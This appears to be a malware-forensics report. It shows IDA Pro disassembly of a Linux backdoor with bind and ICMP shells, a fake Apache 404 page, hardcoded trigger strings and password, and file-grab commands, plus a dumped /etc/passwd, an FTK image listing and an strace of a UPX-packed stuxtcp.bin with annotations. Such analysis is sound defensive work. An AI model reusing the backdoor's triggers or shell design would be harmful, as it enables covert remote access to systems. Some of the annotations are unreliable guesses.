.text:080499ED loc_80499ED:                                ; CODE XREF: read_file+2C4j
.text:080499ED                                           ; read_file+2CEj
.text:080499ED      mov     [ebp+var_40], 0
.text:080499F4      sub     esp, 8
.text:080499F7      push    offset aGivemefile ; "givemefile"
.text:080499FC      push    [ebp+haystack] ; haystack
.text:080499FF      call    _strstr
.text:08049A04      add     esp, 10h
.text:08049A07      mov     [ebp+var_40], eax
.text:08049A0A      cmp     [ebp+var_40], 0
.text:08049A0E      jz      loc_8049B02
.text:08049A14      mov     eax, [ebp+arg_0]
.text:08049A17      add     eax, 0Fh
.text:08049A1A      mov     [ebp+var_44], eax
.text:08049A1D      sub     esp, 8
.text:08049A20      push    offset aHttp ; "HTTP"
.text:08049A25      push    [ebp+var_44] ; haystack
.text:08049A28      call    _strstr
.text:08049A2D      add     esp, 10h
.text:08049A30      mov     [ebp+var_4C], eax
.text:08049A33      cmp     [ebp+var_4C], 0
.text:08049A37      jz      short loc_8049A3F
.text:08049A39      mov     eax, [ebp+var_4C]
.text:08049A3C      mov     byte ptr [eax], 0
.text:08049A3F
.text:08049A3F loc_8049A3F:                                ; CODE XREF: read_file+5F5j
.text:08049A3F      sub     esp, 0Ch
.text:08049A42      push    [ebp+var_44] ; s
.text:08049A45      call    _strlen
.text:08049A4A      add     esp, 10h
.text:08049A4D      add     eax, [ebp+var_44]
.text:08049A50      dec     eax
.text:08049A51      mov     byte ptr [eax], 0
.text:08049A54      sub     esp, 8
.text:08049A57      push    offset modes ; "r"
.text:08049A5C      push    [ebp+var_44] ; filename
.text:08049A5F      call    _fopen
.text:08049A64      add     esp, 10h
.text:08049A67      mov     [ebp+stream], eax
.text:08049A6A      cmp     [ebp+stream], 0
.text:08049A6E      jnz     short loc_8049A9B
.text:08049A70      sub     esp, 4
.text:08049A73      sub     esp, 8
.text:08049A76      push    [ebp+var_8] ; s
.text:08049A79      call    _strlen
.text:08049A7E      add     esp, 0Ch
.text:08049A81      push    eax ; int
.text:08049A82      push    [ebp+var_8] ; int
.text:08049A85      push    [ebp+fd] ; fd
.text:08049A88      call    writen_file
.text:08049A8D      add     esp, 10h
.text:08049A90      mov     eax, [ebp+var_8]
.text:08049A93      mov     [ebp+var_64], eax
.text:08049A96      jmp     loc_8049B3A
.rodata:0804A920 ; =====
```

```

.rodata:0804A920
.rodata:0804A920 ; Segment type: Pure data
.rodata:0804A920 ; Segment permissions: Read
.rodata:0804A920 ; Segment alignment '32byte' can not be represented in assembly
.rodata:0804A920 _rodata      segment para public 'CONST' use32
.rodata:0804A920      assume cs:_rodata
.rodata:0804A920      ;org 804A920h
.rodata:0804A920      public _fp_hw
.rodata:0804A920 _fp_hw      dd 3
.rodata:0804A924      public _IO_stdin_used
.rodata:0804A924 _IO_stdin_used dd 20001h
.rodata:0804A928      align 20h
.rodata:0804A940 ; char src[]
.rodata:0804A940 src          db 'RDFpassword',0      ; DATA XREF: main+160
.rodata:0804A940                                     ; main+2Bo
.rodata:0804A94C ; char aSu[]
.rodata:0804A94C aSu          db '[su]          ',0      ; DATA XREF: main+1C5o
.rodata:0804A958 ; char aLogin[]
.rodata:0804A958 aLogin       db '[login]          ',0      ; DATA XREF: main+208o
.rodata:0804A967 ; char aBash[]
.rodata:0804A967 aBash        db '[bash]          ',0      ; DATA XREF: main+264o
.rodata:0804A975 ; char path[]
.rodata:0804A975 path         db '/',0                ; DATA XREF: daemon_init+71o
.rodata:0804A975                                     ; read_file+3F3o ...
.rodata:0804A977 ; char file[]
.rodata:0804A977 file         db '/dev/null',0          ; DATA XREF: daemon_init+D8o
.rodata:0804A981 ; char format[]
.rodata:0804A981 format       db 'children %d died',0Ah,0 ; DATA XREF: sig_chid+29o
.rodata:0804A993      align 10h
.rodata:0804A9A0 aContentTypeTex db 'Content-type: text/html',0Ah ; DATA XREF: read_file+7o
.rodata:0804A9A0      db 0Ah
.rodata:0804A9A0      db 'HTTP/1.1 404 Not Found',0Ah
.rodata:0804A9A0      db 'Date: Mon, 14 Jan 2002 03:19:55 GMT',0Ah
.rodata:0804A9A0      db 'Server: Apache/1.3.22 (Unix)',0Ah
.rodata:0804A9A0      db 'Connection: close',0Ah
.rodata:0804A9A0      db 'Content-Type: text/html',0Ah
.rodata:0804A9A0      db 0Ah
.rodata:0804A9A0      db '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 4.0//EN">',0Ah
.rodata:0804A9A0      db '<HTML><HEAD>',0Ah
.rodata:0804A9A0      db '<TITLE>404 Not Found</TITLE>',0Ah
.rodata:0804A9A0      db '</HEAD><BODY>',0Ah
.rodata:0804A9A0      db '<H1>Not Found</H1>',0Ah
.rodata:0804A9A0      db 'The requested URL was not found on this server.<P>',0Ah
.rodata:0804A9A0      db '<HR>',0Ah
.rodata:0804A9A0      db '<ADDRESS>Apache/1.3.22 Server at localhost Port
8008</ADDRESS>',0Ah
.rodata:0804A9A0      db '</BODY></HTML>',0Ah
.rodata:0804A9A0      db 0Ah,0
.rodata:0804AB42      align 20h
.rodata:0804AB60 aContentTypeT_0 db 'Content-type: text/html',0Ah ; DATA XREF: read_file+Eo
.rodata:0804AB60      db 0Ah
.rodata:0804AB60      db '<html>',0Ah
.rodata:0804AB60      db '<head><title>Bind Shell ok.</title></head>',0Ah
.rodata:0804AB60      db '<body bgcolor="#000000">',0Ah
.rodata:0804AB60      db '<div align="center"><p>',0Ah
.rodata:0804AB60      db '<font face="Arial" color="#999999" size="7"><b>',0Ah
.rodata:0804AB60      db 'You get it, goodluck! :-)',0Ah
.rodata:0804AB60      db '</b></font></p></div><br>',0Ah
.rodata:0804AB60      db '</body></html>',0Ah
.rodata:0804AB60      db 0Ah,0
.rodata:0804AC53      align 10h
.rodata:0804AC60 aContentTypeT_1 db 'Content-type: text/html',0Ah ; DATA XREF: read_file+15o

```

```

.rodata:0804AC60      db 0Ah
.rodata:0804AC60      db '<html>',0Ah
.rodata:0804AC60      db '<head><title>Tran ok.</title></head>',0Ah
.rodata:0804AC60      db '<body bgcolor="#000000">',0Ah
.rodata:0804AC60      db '<div align="center"><p>',0Ah
.rodata:0804AC60      db '<font face="Arial" color="#999999" size="7"><b>',0Ah
.rodata:0804AC60      db 'Tran ok!',0Ah
.rodata:0804AC60      db '</b></font></p></div><br>',0Ah
.rodata:0804AC60      db '</body></html>',0Ah
.rodata:0804AC60      db 0Ah,0
.rodata:0804AD3C      align 10h
.rodata:0804AD40 aContentTypeT_2 db 'Content-type: text/html',0Ah ; DATA XREF: read_file+1Co
.rodata:0804AD40      db 0Ah
.rodata:0804AD40      db '<html>',0Ah
.rodata:0804AD40      db '<head><title>Shell ok.</title></head>',0Ah
.rodata:0804AD40      db '<body bgcolor="#000000">',0Ah
.rodata:0804AD40      db '<div align="left">',0Ah
.rodata:0804AD40      db '<pre><font face="Arial" color="#999999" size="2">',0Ah,0
.rodata:0804ADE7      align 20h
.rodata:0804AE00 aFontPreDivBrBo db '</font></pre></div><br>',0Ah ; DATA XREF: read_file+23o
.rodata:0804AE00      db '</body></html>',0Ah
.rodata:0804AE00      db 0Ah,0
.rodata:0804AE29 aBYourCommandB db '<b>Your Command:</b>',0Ah,0 ; DATA XREF: read_file+2Ao
.rodata:0804AE3F aBr          db '<br>',0Ah,0 ; DATA XREF: read_file+31o
.rodata:0804AE45 aTmpTmp_txt   db '/tmp/tmp.txt',0 ; DATA XREF: read_file+38o
.rodata:0804AE52      align 10h
.rodata:0804AE60 aPathBinSbinUsr db
'PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin'
.rodata:0804AE60      ; DATA XREF: read_file+3Fo
.rodata:0804AE60      db ':. ',0
.rodata:0804AEA4 ; char needle[]
.rodata:0804AEA4 needle      db 'kissme:)',0 ; DATA XREF: read_file+4Fo
.rodata:0804AEA4      ; bind_shell+203o
.rodata:0804AEAD ; char aBindport[]
.rodata:0804AEAD aBindport    db 'bindport',0 ; DATA XREF: read_file+83o
.rodata:0804AEB6 ; char asc_804AEB6[]
.rodata:0804AEB6 asc_804AEB6  db ': ',0 ; DATA XREF: read_file+99o
.rodata:0804AEB6      ; read_file+137o ...
.rodata:0804AEB8 ; char aSocks[]
.rodata:0804AEB8 aSocks       db 'socks',0 ; DATA XREF: read_file+121o
.rodata:0804AEBE ; char asc_804AEBE[]
.rodata:0804AEBE asc_804AEBE  db ':: ',0 ; DATA XREF: read_file+14Do
.rodata:0804AEC1 ; char asc_804AEC1[]
.rodata:0804AEC1 asc_804AEC1  db '::: ',0 ; DATA XREF: read_file+163o
.rodata:0804AEC5 ; char aGivemeshell[]
.rodata:0804AEC5 aGivemeshell db 'givemeshell',0 ; DATA XREF: read_file+297o
.rodata:0804AED1 ; char aHttp[]
.rodata:0804AED1 aHttp       db 'HTTP',0 ; DATA XREF: read_file+2E0o
.rodata:0804AED1      ; read_file+5DEo
.rodata:0804AED6 ; char modes[]
.rodata:0804AED6 modes       db 'r ',0 ; DATA XREF: read_file+41Fo
.rodata:0804AED6      ; read_file+615o
.rodata:0804AED8 ; char aGivemefile[]
.rodata:0804AED8 aGivemefile  db 'givemefile',0 ; DATA XREF: read_file+5B5o
.rodata:0804AEE3 aEnterYourPassw db 0Dh,0Ah ; DATA XREF: bind_shell+195o
.rodata:0804AEE3      db 'Enter Your password: ',0
.rodata:0804AEFB      align 10h
.rodata:0804AF00 aWelcomeToHttpW db 0Dh,0Ah ; DATA XREF: bind_shell+240o
.rodata:0804AF00      ; get_shell+35o
.rodata:0804AF00      db '====Welcome to http://www.cnhonker.com====',0Dh,0Ah
.rodata:0804AF00      db '====You got it, have a goodluck. :)====',0Dh,0Ah
.rodata:0804AF00      db 0Dh,0Ah

```




```

.rodata:0804AF00          db 'Your command: ',0
.rodata:0804AF7B          align 4
.rodata:0804AF7C ; char arg[]
.rodata:0804AF7C arg      db 'sh',0          ; DATA XREF: bind_shell+27Co
.rodata:0804AF7C          ; get_shell+71o
.rodata:0804AF7F ; char aBinSh[]
.rodata:0804AF7F aBinSh    db '/bin/sh',0      ; DATA XREF: bind_shell+281o
.rodata:0804AF7F          ; get_shell+76o
.rodata:0804AF87 ; char name[]
.rodata:0804AF87 name      db 'icmp',0         ; DATA XREF: icmp_shell+13o
.rodata:0804AF8C ; char byte_804AF8C
.rodata:0804AF8C byte_804AF8C db 0           ; DATA XREF: icmp_shell+93o
.rodata:0804AF8D ; char aEnterPassword[]
.rodata:0804AF8D aEnterPassword db 'Enter Password: ',0 ; DATA XREF: get_password+9o
.rodata:0804AF9E ; char aS[]
.rodata:0804AF9E aS        db '%s',0          ; DATA XREF: get_password+1Do
.rodata:0804AF9E          ; get_password+94o
.rodata:0804AFA1 ; char aPasswordAccept[]
.rodata:0804AFA1 aPasswordAccept db 'Password accepted!',0Ah,0 ; DATA XREF: get_password+45o
.rodata:0804AFB5          align 10h
.rodata:0804AFC0 ; char aYouEnteredAnIn[]
.rodata:0804AFC0 aYouEnteredAnIn db 'You entered an Incorrect Password. Exiting...',0Ah,0
.rodata:0804AFC0          ; DATA XREF: get_password+57o
.rodata:0804AFF0          align 20h
.rodata:0804B000 ; char asc_804B000[]
.rodata:0804B000 asc_804B000 db
'=====',0Ah,0
.rodata:0804B000          ; DATA XREF: get_password+7Fo
.rodata:0804B000          ; get_password+A4o
.rodata:0804B000 _rodata    ends
.rodata:0804B000
.data:0804C03C ; =====

```

Sample output:



```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
colord:x:102:105:colord colour management daemon,,,:/var/lib/colord:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
lightdm:x:104:108:Light Display Manager:/var/lib/lightdm:/bin/false
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:106:113:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
usbmux:x:107:46:usbmux daemon,,,:/home/usbmux:/bin/false
kernoops:x:108:65534:Kernel Oops Tracking Daemon,,,:/bin/false
pulse:x:109:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:110:122:RealtimeKit,,,:/proc:/bin/false
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/var/run/speech-
dispatcher:/bin/sh
hplip:x:112:7:HPLIP system user,,,:/var/run/hplip:/bin/false
saned:x:113:123::/home/saned:/bin/false
user:x:1000:1000:Test,,,:/home/user:/bin/bash
```

Appendix 1:

NFL.dd analysis:


File layout ascertained of nfl.dd from FTK :

File Name	Full Path	File Type	Cr Date	Mod Date	Acc Date	L-Size	P-Size	Del
NIKON001.DSC	nfl\Part_1\NO NAME-FAT16\NIKON\001.DSC	Unknown File Type		3/4/2004 9:11:12 PM		512	4,096	
DSCN2065.TIF	nfl\Part_1\NO NAME-FAT16\DCIM\100NIKON\DSCN2065.TIF	TIFF File	3/4/2004 9:12:38 PM	3/4/2004 9:12:38 PM		14,858,569	14,860,288	
DCIM	nfl\Part_1\NO NAME-FAT16\DCIM	Folder	3/4/2004 9:11:12 PM	3/4/2004 9:11:12 PM		4,096	4,096	
(Root Folder)	nfl\Part_1\NO NAME-FAT16	Root Folder	N/A	N/A	N/A	16,384	16,384	
100NIKON	nfl\Part_1\NO NAME-FAT16\DCIM\100NIKON	Folder	3/4/2004 9:11:12 PM	3/4/2004 8:40:42 PM				
SCN2069.JPG	nfl\Part_1\NO NAME-FAT16\DCIM\100NIKON\SCN2069.JPG	JPEG/Exif file	3/4/2004 9:15:08 PM	3/4/2004 9:15:08 PM				
SCN2068.JPG	nfl\Part_1\NO NAME-FAT16\DCIM\100NIKON\SCN2068.JPG	JPEG/Exif file	3/4/2004 9:14:20 PM	3/4/2004 9:14:20 PM				
SCN2067.JPG	nfl\Part_1\NO NAME-FAT16\DCIM\100NIKON\SCN2067.JPG	JPEG/Exif file	3/4/2004 9:13:58 PM	3/4/2004 9:13:58 PM				
SCN2066.JPG	nfl\Part_1\NO NAME-FAT16\DCIM\100NIKON\SCN2066.JPG	JPEG/Exif file	3/4/2004 9:13:22 PM	3/4/2004 9:13:22 PM				
INFO.TXT	nfl\Part_1\NO NAME-FAT16\DCIM\100NIKON\INFO.TXT	Unknown File Type	3/4/2004 9:15:08 PM	3/4/2004 9:15:08 PM				
LUEPRT1.TIF	nfl\Part_1\NO NAME-FAT16\LUEPRT1.TIF	TIFF File	3/4/2004 8:39:18 PM	3/4/2004 8:39:18 PM	3/4/2004 12:00:00 AM			
LUEPRT1.JPG	nfl\Part_1\NO NAME-FAT16\LUEPRT1.JPG	JPEG/JFIF File	3/4/2004 8:39:18 PM	3/4/2004 8:39:18 PM	3/4/2004 12:00:00 AM			

Appendix 2:

A proximity chart view of stuxtcp.binIDA Pro.

The following chart indicates that a file is used in one of the subroutines.



```
b2240-12:/tmp/9192$ cat io
```

```
rchar: 13016
```

```
wchar: 25485
```

```
syscr: 13
```

```
syscw: 2
```

```
read_bytes: 0
```

```
write_bytes: 28672
```

```
cancelled_write_bytes: 0
```

```
b2240-12: strace -f ./stuxtcp.bin
```

```
execve("./stuxtcp.bin", ["/stuxtcp.bin"], [/* 26 vars */]) = 0
```

```
getpid() = 9009
```

```
open("/proc/9009/exe", O_RDONLY) = 3
```

```
lseek(3, 1468, SEEK_SET) = 1468
```

```
read(3, "\224,\25[\c\0\0}\c\0\0"... , 12) = 12
```

```
gettimeofday({1322246807, 753024}, NULL) = 0
```

```
unlink("/tmp/upxDFU5MWCAIZR") = -1 ENOENT (No such file or directory)
```

```
open("/tmp/upxDFU5MWCAIZR", O_WRONLY|O_CREAT|O_EXCL, 0700) = 4
```

```
ftruncate(4, 25469) = 0
```

```
old_mmap(NULL, 28672, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
```

```
0x80495a408639018) = 0xb771b000
```

```
read(3, "}c\0\0i+\0\0"... , 8) = 8
```

```
read(3, "\177?d\371\177ELF\1\0\2\0\3\0\r\200\216\4\375o\263\335\0104\7@N\27\v \0\6\0"... , 11113) = 11113
```

```
write(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0\200\216\4\0104\0\0\0@"... , 25469) = 25469
```

```
read(3, "\0\0\0\0UPX!"... , 8) = 8
```

```
munmap(0xb771b000, 28672) = 0
```

```
close(4) = 0
```

```
close(3) = 0
```

```
open("/tmp/upxDFU5MWCAIZR", O_RDONLY) = 3
```

```
access("/proc/9009/fd/3", R_OK|X_OK) = 0
```

```
unlink("/tmp/upxDFU5MWCAIZR") = 0
```

```

fcntl(3, F_SETFD, FD_CLOEXEC) = 0
execve("/proc/9009/fd/3", ["/.stuxtcp.bin"], [/* 26 vars */) = 0
brk(0) = 0x95c4000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7712000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=130647, ...}) = 0
mmap2(NULL, 130647, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb76f2000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i686/cmov/libpthread.so.0", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000H\0\0004\0\0\0\330"... ,
512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=116414, ...}) = 0
mmap2(NULL, 98784, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb76d9000
mmap2(0xb76ee000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3,
0x14) = 0xb76ee000
mmap2(0xb76f0000, 4576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1,
0) = 0xb76f0000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1\0004\0\0\0\4"... , 512)
= 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1413540, ...}) = 0
mmap2(NULL, 1418864, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) =
0xb757e000
mmap2(0xb76d3000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3,
0x155) = 0xb76d3000
mmap2(0xb76d6000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1,
0) = 0xb76d6000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb757dad0, limit:1048575,
seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0,
useable:1}) = 0
mprotect(0xb76d3000, 4096, PROT_READ) = 0
munmap(0xb76f2000, 130647) = 0
set_tid_address(0xb757db18) = 9009
set_robust_list(0xb757db20, 0xc) = 0
futex(0xbfb5c5b0, FUTEX_WAKE_PRIVATE, 1) = 0
rt_sigaction(SIGRTMIN, {0xb76dd2e0, [], SA_SIGINFO}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0xb76dd720, [], SA_RESTART|SA_SIGINFO}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
uname({sys="Linux", node="b2240-12", ...}) = 0
fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7711000
fstat64(0, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 4), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7710000
write(1, "Enter Password: "... , 16Enter Password: ) = 16
read(0,

```

Assembly code of subroutine in stuxtcp.bin produced by IDA Pro:

```
LOAD:08048288 ; ===== S U B R O U T I N E =====
LOAD:08048288
LOAD:08048288 ; Attributes: noreturn bp-based frame
LOAD:08048288
LOAD:08048288 ; int __cdecl sub_8048288(const char **argv, const char **envp)
LOAD:08048288 sub_8048288      proc near                ; CODE XREF: start+Fp
LOAD:08048288
LOAD:08048288 var_84          = dword ptr -84h
LOAD:08048288 var_80          = dword ptr -80h
LOAD:08048288 fd              = dword ptr -7Ch
LOAD:08048288 var_78          = dword ptr -78h
LOAD:08048288 var_74          = dword ptr -74h
LOAD:08048288 var_70          = dword ptr -70h
LOAD:08048288 var_6C          = dword ptr -6Ch
LOAD:08048288 var_68          = dword ptr -68h
LOAD:08048288 tv              = timeval ptr -64h
LOAD:08048288 pathname        = byte ptr -5Ch
LOAD:08048288 var_58          = word ptr -58h
LOAD:08048288 var_56          = byte ptr -56h
LOAD:08048288 addr            = dword ptr -1Ch
LOAD:08048288 len             = dword ptr -18h
LOAD:08048288 var_14          = dword ptr -14h
LOAD:08048288 argv            = dword ptr 8
LOAD:08048288 envp            = dword ptr 0Ch
LOAD:08048288
LOAD:08048288                push    ebp
LOAD:08048289                mov     ebp, esp          ; off
LOAD:0804828B                push    edi
LOAD:0804828C                push    esi
LOAD:0804828D                push    ebx
LOAD:0804828E                sub     esp, 78h
LOAD:08048291                push    14h
LOAD:08048293                pop     eax
```

%Grab the system pid of this process and store it in var_78 then move var_56 into eax

```
LOAD:08048294                int     80h          ; LINUX - sys_getpid
LOAD:08048296                mov     [ebp+var_78], eax
LOAD:08048299                mov     edx, [ebp+var_78]
LOAD:0804829C                lea     eax, [ebp+var_56]
```

%Begin preparations to load a file at some address, by setting the path to load from

```
LOAD:0804829F                mov     dword ptr [ebp+pathname], 6F72702Fh
LOAD:080482A6                mov     [ebp+var_58], 2F63h
LOAD:080482AC                call    sub_8048247
LOAD:080482B1                mov     [ebp+var_74], eax
LOAD:080482B4                mov     byte ptr [eax], 2Fh
LOAD:080482B7                inc     [ebp+var_74]
LOAD:080482BA                mov     edx, [ebp+var_74]
LOAD:080482BD                lea     ebx, [ebp+pathname] ; filename
LOAD:080482C0                mov     dword ptr [edx], 657865h
LOAD:080482C6                xor     edx, edx          ; whence
LOAD:080482C8                mov     ecx, edx          ; flags
LOAD:080482CA                push    5
LOAD:080482CC                pop     eax
```

%invoke the kernal to open the file at the aforementioned set path way

```
LOAD:080482CD                int     80h          ; LINUX - sys_open
LOAD:080482CF                test    eax, eax
LOAD:080482D1                mov     edi, eax
```

%if the load suceded then jump to the next segment

```
LOAD:080482D3                jns     short loc_80482E5
LOAD:080482D5                mov     eax, [ebp+var_74]
```

```

LOAD:080482D8      mov     dword ptr [eax], 656C6966h
LOAD:080482DE      push    5
LOAD:080482E0      pop     eax

```

%If the previous load failed then open this new location

```

LOAD:080482E1      int     80h                ; LINUX - sys_open
LOAD:080482E3      mov     edi, eax           ; fd
LOAD:080482E5
LOAD:080482E5      loc_80482E5:              ; CODE XREF: sub_8048288+4Bj
LOAD:080482E5      mov     ecx, 5BCh          ; int
LOAD:080482EA      mov     ebx, edi           ; fd
LOAD:080482EC      push    13h
LOAD:080482EE      pop     eax

```

%Seek to a particular point in the file we just opened

```

LOAD:080482EF      int     80h                ; LINUX - sys_lseek
LOAD:080482F1      test    eax, eax
LOAD:080482F3      js      loc_804848C
LOAD:080482F9      lea     edx, [ebp+addr] ; addr
LOAD:080482FC      mov     eax, edi
LOAD:080482FE      push    0Ch                ; len
LOAD:08048300      call    sub_8048224
LOAD:08048305      pop     ebx
LOAD:08048306      test    eax, eax
LOAD:08048308      jnz     loc_804848C
LOAD:0804830E      cmp     [ebp+addr], 5B152C94h
LOAD:08048315      jnz     loc_804848C
LOAD:0804831B      mov     esi, (offset aAaaa+4)
LOAD:08048320      mov     edx, [ebp+var_78]
LOAD:08048323      mov     ecx, 4
LOAD:08048328
LOAD:08048328      loc_8048328:              ; CODE XREF: sub_8048288+B2j
LOAD:08048328      mov     al, dl
LOAD:0804832A      and     eax, 1Fh
LOAD:0804832D      cmp     al, 19h
LOAD:0804832F      jbe     short loc_8048334
LOAD:08048331      sub     eax, 2Bh
LOAD:08048334
LOAD:08048334      loc_8048334:              ; CODE XREF: sub_8048288+A7j
LOAD:08048334      dec     esi
LOAD:08048335      shr     edx, 5
LOAD:08048338      add     [esi], al
LOAD:0804833A      loop    loc_8048328
LOAD:0804833C      mov     esi, offset aAaaa ; "AAAA"
LOAD:08048341      xor     edx, 32585055h
LOAD:08048347      lea     ebx, [ebp+tv]      ; tv
LOAD:0804834A      xor     ecx, ecx           ; tz
LOAD:0804834C      push    4Eh
LOAD:0804834E      pop     eax

```

%Obtain the time of day of the system (possibly to check for vulnerabilities in some specific version of os)

```

LOAD:0804834F      int     80h                ; LINUX - sys_gettimeofday
LOAD:08048351      xor     edx, [ebp+tv.tv_sec]
LOAD:08048354      mov     eax, [ebp+tv.tv_usec]
LOAD:08048357      mov     cl, 7
LOAD:08048359      shl     eax, 0Ch
LOAD:0804835C      xor     edx, eax
LOAD:0804835E
LOAD:0804835E      loc_804835E:              ; CODE XREF: sub_8048288+E8j
LOAD:0804835E      mov     al, dl
LOAD:08048360      and     eax, 1Fh
LOAD:08048363      cmp     al, 19h

```

```

LOAD:08048365      jbe      short loc_804836A
LOAD:08048367      sub      eax, 2Bh
LOAD:0804836A
LOAD:0804836A      loc_804836A:                                ; CODE XREF: sub_8048288+DDj
LOAD:0804836A      dec      esi                                ; flags
LOAD:0804836B      shr      edx, 5
LOAD:0804836E      add      [esi], al
LOAD:08048370      loop     loc_804835E
LOAD:08048372      mov      ebx, offset filename ; "/tmp/upxAAAAAAA"
LOAD:08048377      push     0Ah
LOAD:08048379      pop      eax
LOAD:0804837A      int      80h                                ; LINUX - sys_unlink
LOAD:0804837C      cmp      eax, 0FFFFFFFh
LOAD:0804837F      jz       short loc_8048389
LOAD:08048381      test     eax, eax
LOAD:08048383      jnz      loc_804848C
LOAD:08048389
LOAD:08048389      loc_8048389:                                ; CODE XREF: sub_8048288+F7j
LOAD:08048389      mov      ecx, 0C1h                                ; flags
LOAD:0804838E      mov      edx, 1C0h                                ; prot
LOAD:08048393      mov      ebx, offset filename ; "/tmp/upxAAAAAAA"
LOAD:08048398      push     5
LOAD:0804839A      pop      eax
LOAD:0804839B      int      80h                                ; LINUX - sys_open
LOAD:0804839D      mov      [ebp+fd], eax
LOAD:080483A0      mov      ecx, [ebp+len] ; int
LOAD:080483A3      mov      ebx, eax                                ; fd
LOAD:080483A5      push     5Dh
LOAD:080483A7      pop      eax
LOAD:080483A8      int      80h                                ; LINUX - sys_ftruncate
LOAD:080483AA      test     eax, eax
LOAD:080483AC      jnz      loc_8048482
LOAD:080483B2      mov      ebx, offset unk_80495A4 ; start
LOAD:080483B7      push     5Ah
LOAD:080483B9      pop      eax
LOAD:080483BA      int      80h                                ; LINUX - old_mmap
LOAD:080483BC      cmp      eax, 0FFFFFF00h
LOAD:080483C1      mov      esi, eax
LOAD:080483C3      ja       loc_8048482
LOAD:080483C9
LOAD:080483C9      loc_80483C9:                                ; CODE XREF: sub_8048288+217j
LOAD:080483C9      lea      edx, [ebp+var_6C] ; addr
LOAD:080483CC      mov      eax, edi
LOAD:080483CE      push     8                                ; len
LOAD:080483D0      call     sub_8048224
LOAD:080483D5      pop      ecx
LOAD:080483D6      test     eax, eax
LOAD:080483D8      jnz      loc_8048482
LOAD:080483DE      mov      ecx, [ebp+var_6C]
LOAD:080483E1      test     ecx, ecx
LOAD:080483E3      jnz      short loc_8048401
LOAD:080483E5      cmp      [ebp+var_68], 21585055h
LOAD:080483EC      jnz      loc_8048482
LOAD:080483F2      cmp      [ebp+len], 0
LOAD:080483F6      jz       loc_80484A4
LOAD:080483FC      jmp      loc_8048482
LOAD:08048401      ; -----
LOAD:08048401
LOAD:08048401      loc_8048401:                                ; CODE XREF: sub_8048288+15Bj
LOAD:08048401      mov      edx, [ebp+var_68]
LOAD:08048404      test     edx, edx
LOAD:08048406      jle      short loc_8048482

```



```

LOAD:08048408      cmp     edx, ecx
LOAD:0804840A      jg      short loc_8048482
LOAD:0804840C      mov     eax, [ebp+var_14]
LOAD:0804840F      cmp     ecx, eax
